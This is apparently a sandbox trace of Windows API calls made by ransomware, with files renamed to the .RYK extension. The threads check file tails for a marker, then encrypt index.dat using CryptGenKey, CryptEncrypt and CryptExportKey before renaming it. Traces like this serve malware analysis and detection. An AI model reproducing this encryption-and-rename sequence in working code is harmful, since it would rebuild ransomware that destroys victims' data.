	[0277.657] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\rraEpi1SleocmER-.wav.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\rraepi1sleocmer-.wav.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xac0
	[0277.657] GetFileSizeEx (in: hFile=0xac0, lpFileSize=0x9d1f818 | out: lpFileSize=0x9d1f818*=17298) returned 1
	[0277.657] GetFileSizeEx (in: hFile=0xac0, lpFileSize=0x9d1f828 | out: lpFileSize=0x9d1f828*=17298) returned 1
	[0277.657] SetFilePointerEx (in: hFile=0xac0, liDistanceToMove=0x4270, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0277.657] ReadFile (in: hFile=0xac0, lpBuffer=0x9d1f870, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9d1f7e0, lpOverlapped=0x0 | out: lpBuffer=0x9d1f870*, lpNumberOfBytesRead=0x9d1f7e0*=0x19, lpOverlapped=0x0) returned 1
	[0277.659] CloseHandle (hObject=0xac0) returned 1

Thread:
	id = 3580
	os_tid = 0x3c98

	[0277.154] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ry6fZp6K Kz.wav.RYK", dwFileAttributes=0x80) returned 1
	[0277.155] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ry6fZp6K Kz.wav.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ry6fzp6k kz.wav.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xac4
	[0277.155] GetFileSizeEx (in: hFile=0xac4, lpFileSize=0x9e4f638 | out: lpFileSize=0x9e4f638*=80898) returned 1
	[0277.155] GetFileSizeEx (in: hFile=0xac4, lpFileSize=0x9e4f648 | out: lpFileSize=0x9e4f648*=80898) returned 1
	[0277.155] SetFilePointerEx (in: hFile=0xac4, liDistanceToMove=0x13ae0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0277.155] ReadFile (in: hFile=0xac4, lpBuffer=0x9e4f690, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9e4f600, lpOverlapped=0x0 | out: lpBuffer=0x9e4f690*, lpNumberOfBytesRead=0x9e4f600*=0x19, lpOverlapped=0x0) returned 1
	[0277.157] CloseHandle (hObject=0xac4) returned 1

Thread:
	id = 3581
	os_tid = 0x3c9c

	[0277.158] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\ss2b.mp4.RYK", dwFileAttributes=0x80) returned 1
	[0277.159] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\ss2b.mp4.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ss2b.mp4.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xac4
	[0277.159] GetFileSizeEx (in: hFile=0xac4, lpFileSize=0xa0bfa18 | out: lpFileSize=0xa0bfa18*=97298) returned 1
	[0277.159] GetFileSizeEx (in: hFile=0xac4, lpFileSize=0xa0bfa28 | out: lpFileSize=0xa0bfa28*=97298) returned 1
	[0277.159] SetFilePointerEx (in: hFile=0xac4, liDistanceToMove=0x17af0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0277.159] ReadFile (in: hFile=0xac4, lpBuffer=0xa0bfa70, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xa0bf9e0, lpOverlapped=0x0 | out: lpBuffer=0xa0bfa70*, lpNumberOfBytesRead=0xa0bf9e0*=0x19, lpOverlapped=0x0) returned 1
	[0277.161] CloseHandle (hObject=0xac4) returned 1

Thread:
	id = 3582
	os_tid = 0x3ca0

	[0277.162] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\TaYG.png.RYK", dwFileAttributes=0x80) returned 1
	[0277.163] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\TaYG.png.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\tayg.png.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xac4
	[0277.163] GetFileSizeEx (in: hFile=0xac4, lpFileSize=0xa3bf5b8 | out: lpFileSize=0xa3bf5b8*=77218) returned 1
	[0277.163] GetFileSizeEx (in: hFile=0xac4, lpFileSize=0xa3bf5c8 | out: lpFileSize=0xa3bf5c8*=77218) returned 1
	[0277.163] SetFilePointerEx (in: hFile=0xac4, liDistanceToMove=0x12c80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0277.163] ReadFile (in: hFile=0xac4, lpBuffer=0xa3bf610, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0xa3bf580, lpOverlapped=0x0 | out: lpBuffer=0xa3bf610*, lpNumberOfBytesRead=0xa3bf580*=0x19, lpOverlapped=0x0) returned 1
	[0277.165] CloseHandle (hObject=0xac4) returned 1

Thread:
	id = 3610
	os_tid = 0x3d20


Thread:
	id = 3639
	os_tid = 0x3d94

	[0277.863] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat", dwFileAttributes=0x80) returned 1
	[0277.864] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xacc
	[0277.864] GetFileSizeEx (in: hFile=0xacc, lpFileSize=0x8c9fa78 | out: lpFileSize=0x8c9fa78*=32768) returned 1
	[0277.864] GetFileSizeEx (in: hFile=0xacc, lpFileSize=0x8c9fa88 | out: lpFileSize=0x8c9fa88*=32768) returned 1
	[0277.864] SetFilePointerEx (in: hFile=0xacc, liDistanceToMove=0x7ede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0277.865] ReadFile (in: hFile=0xacc, lpBuffer=0x8c9fad0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8c9fa40, lpOverlapped=0x0 | out: lpBuffer=0x8c9fad0*, lpNumberOfBytesRead=0x8c9fa40*=0x19, lpOverlapped=0x0) returned 1
	[0277.869] SetFilePointer (in: hFile=0xacc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0277.869] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8c9fa58 | out: phKey=0x8c9fa58*=0x2b8f80) returned 1
	[0277.869] SetFilePointer (in: hFile=0xacc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0277.869] ReadFile (in: hFile=0xacc, lpBuffer=0x2690000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x8c9fa64, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesRead=0x8c9fa64*=0x8000, lpOverlapped=0x0) returned 1
	[0277.871] CryptEncrypt (in: hKey=0x2b8f80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8c9fa60*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8c9fa60*=0xf4250) returned 1
	[0277.871] CryptEncrypt (in: hKey=0x2b8f80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2690000*, pdwDataLen=0x8c9fa68*=0x8000, dwBufLen=0xf4250 | out: pbData=0x2690000*, pdwDataLen=0x8c9fa68*=0x8010) returned 1
	[0277.871] SetFilePointer (in: hFile=0xacc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0277.871] WriteFile (in: hFile=0xacc, lpBuffer=0x2690000*, nNumberOfBytesToWrite=0x8010, lpNumberOfBytesWritten=0x8c9fa64, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesWritten=0x8c9fa64*=0x8010, lpOverlapped=0x0) returned 1
	[0277.873] WriteFile (in: hFile=0xacc, lpBuffer=0x8c9fa90*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8c9fa70, lpOverlapped=0x0 | out: lpBuffer=0x8c9fa90*, lpNumberOfBytesWritten=0x8c9fa70*=0x6, lpOverlapped=0x0) returned 1
	[0277.873] CryptExportKey (in: hKey=0x2b8f80, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8c9fa80 | out: pbData=0x0*, pdwDataLen=0x8c9fa80*=0x10c) returned 1
	[0277.873] CryptExportKey (in: hKey=0x2b8f80, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8c9faf0, pdwDataLen=0x8c9fa80 | out: pbData=0x8c9faf0*, pdwDataLen=0x8c9fa80*=0x10c) returned 1
	[0277.873] WriteFile (in: hFile=0xacc, lpBuffer=0x8c9faf0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8c9fa70, lpOverlapped=0x0 | out: lpBuffer=0x8c9faf0*, lpNumberOfBytesWritten=0x8c9fa70*=0x10c, lpOverlapped=0x0) returned 1
	[0277.873] CloseHandle (hObject=0xacc) returned 1
	[0277.875] CryptDestroyKey (hKey=0x2b8f80) returned 1
	[0277.875] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\index.dat.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3640
	os_tid = 0x3d98

	[0277.881] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\vH9Z9EVpRJYC.flv.RYK", dwFileAttributes=0x80) returned 1
	[0277.882] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\vH9Z9EVpRJYC.flv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\vh9z9evprjyc.flv.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xacc
	[0277.882] GetFileSizeEx (in: hFile=0xacc, lpFileSize=0x8d9f618 | out: lpFileSize=0x8d9f618*=96018) returned 1
	[0277.882] GetFileSizeEx (in: hFile=0xacc, lpFileSize=0x8d9f628 | out: lpFileSize=0x8d9f628*=96018) returned 1
	[0277.882] SetFilePointerEx (in: hFile=0xacc, liDistanceToMove=0x175f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0277.883] ReadFile (in: hFile=0xacc, lpBuffer=0x8d9f670, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8d9f5e0, lpOverlapped=0x0 | out: lpBuffer=0x8d9f670*, lpNumberOfBytesRead=0x8d9f5e0*=0x19, lpOverlapped=0x0) returned 1
	[0277.884] CloseHandle (hObject=0xacc) returned 1

Thread:
	id = 3641
	os_tid = 0x3d9c

	[0277.886] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\w5FBdLdrSf.mkv.RYK", dwFileAttributes=0x80) returned 1
	[0277.886] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\w5FBdLdrSf.mkv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\w5fbdldrsf.mkv.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xacc
	[0277.886] GetFileSizeEx (in: hFile=0xacc, lpFileSize=0x90df578 | out: lpFileSize=0x90df578*=11826) returned 1
	[0277.886] GetFileSizeEx (in: hFile=0xacc, lpFileSize=0x90df588 | out: lpFileSize=0x90df588*=11826) returned 1
	[0277.887] SetFilePointerEx (in: hFile=0xacc, liDistanceToMove=0x2d10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0277.887] ReadFile (in: hFile=0xacc, lpBuffer=0x90df5d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x90df540, lpOverlapped=0x0 | out: lpBuffer=0x90df5d0*, lpNumberOfBytesRead=0x90df540*=0x19, lpOverlapped=0x0) returned 1
	[0277.888] CloseHandle (hObject=0xacc) returned 1

Thread:
	id = 3642
	os_tid = 0x3da0

	[0277.890] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\wLGrvY baLME.jpg.RYK", dwFileAttributes=0x80) returned 1
	[0277.890] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\wLGrvY baLME.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\wlgrvy balme.jpg.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xacc
	[0277.891] GetFileSizeEx (in: hFile=0xacc, lpFileSize=0x927fa38 | out: lpFileSize=0x927fa38*=85890) returned 1
	[0277.891] GetFileSizeEx (in: hFile=0xacc, lpFileSize=0x927fa48 | out: lpFileSize=0x927fa48*=85890) returned 1
	[0277.891] SetFilePointerEx (in: hFile=0xacc, liDistanceToMove=0x14e60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0277.891] ReadFile (in: hFile=0xacc, lpBuffer=0x927fa90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x927fa00, lpOverlapped=0x0 | out: lpBuffer=0x927fa90*, lpNumberOfBytesRead=0x927fa00*=0x19, lpOverlapped=0x0) returned 1
	[0277.893] CloseHandle (hObject=0xacc) returned 1

Thread:
	id = 3643
	os_tid = 0x3da4

	[0277.894] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\xHyat.m4a.RYK", dwFileAttributes=0x80) returned 1
	[0277.894] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\xHyat.m4a.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\xhyat.m4a.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xacc
	[0277.895] GetFileSizeEx (in: hFile=0xacc, lpFileSize=0x943fcb8 | out: lpFileSize=0x943fcb8*=72786) returned 1
	[0277.895] GetFileSizeEx (in: hFile=0xacc, lpFileSize=0x943fcc8 | out: lpFileSize=0x943fcc8*=72786) returned 1
	[0277.895] SetFilePointerEx (in: hFile=0xacc, liDistanceToMove=0x11b30, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0277.895] ReadFile (in: hFile=0xacc, lpBuffer=0x943fd10, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x943fc80, lpOverlapped=0x0 | out: lpBuffer=0x943fd10*, lpNumberOfBytesRead=0x943fc80*=0x19, lpOverlapped=0x0) returned 1
	[0277.897] CloseHandle (hObject=0xacc) returned 1

Thread:
	id = 3644
	os_tid = 0x3da8

	[0277.898] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XZ-jXxH.flv.RYK", dwFileAttributes=0x80) returned 1
	[0277.898] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\XZ-jXxH.flv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\xz-jxxh.flv.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xacc
	[0277.899] GetFileSizeEx (in: hFile=0xacc, lpFileSize=0x959f9b8 | out: lpFileSize=0x959f9b8*=60146) returned 1
	[0277.899] GetFileSizeEx (in: hFile=0xacc, lpFileSize=0x959f9c8 | out: lpFileSize=0x959f9c8*=60146) returned 1
	[0277.899] SetFilePointerEx (in: hFile=0xacc, liDistanceToMove=0xe9d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0277.899] ReadFile (in: hFile=0xacc, lpBuffer=0x959fa10, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x959f980, lpOverlapped=0x0 | out: lpBuffer=0x959fa10*, lpNumberOfBytesRead=0x959f980*=0x19, lpOverlapped=0x0) returned 1
	[0277.901] CloseHandle (hObject=0xacc) returned 1

Thread:
	id = 3645
	os_tid = 0x3dac

	[0278.156] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\index.dat", dwFileAttributes=0x80) returned 1
	[0278.157] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.157] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.157] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\index.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3722
	os_tid = 0x3f04

	[0283.354] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\AntiPhishing\\2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat", dwFileAttributes=0x80) returned 0
	[0283.354] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\AntiPhishing\\2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\antiphishing\\2cedbfbc-dba8-43aa-b1fd-cc8e6316e3e2.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0283.354] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0283.355] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\AntiPhishing\\2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\antiphishing\\2cedbfbc-dba8-43aa-b1fd-cc8e6316e3e2.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\AntiPhishing\\2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\antiphishing\\2cedbfbc-dba8-43aa-b1fd-cc8e6316e3e2.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3757
	os_tid = 0x3f98

	[0284.058] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\28-8f3193-f30905ea[1]", dwFileAttributes=0x80) returned 0
	[0284.059] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\28-8f3193-f30905ea[1]" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\28-8f3193-f30905ea[1]"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.059] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.059] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\28-8f3193-f30905ea[1]" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\28-8f3193-f30905ea[1]"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\28-8f3193-f30905ea[1].RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\28-8f3193-f30905ea[1].ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3758
	os_tid = 0x3f9c

	[0284.060] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\528d82a2[1].js", dwFileAttributes=0x80) returned 0
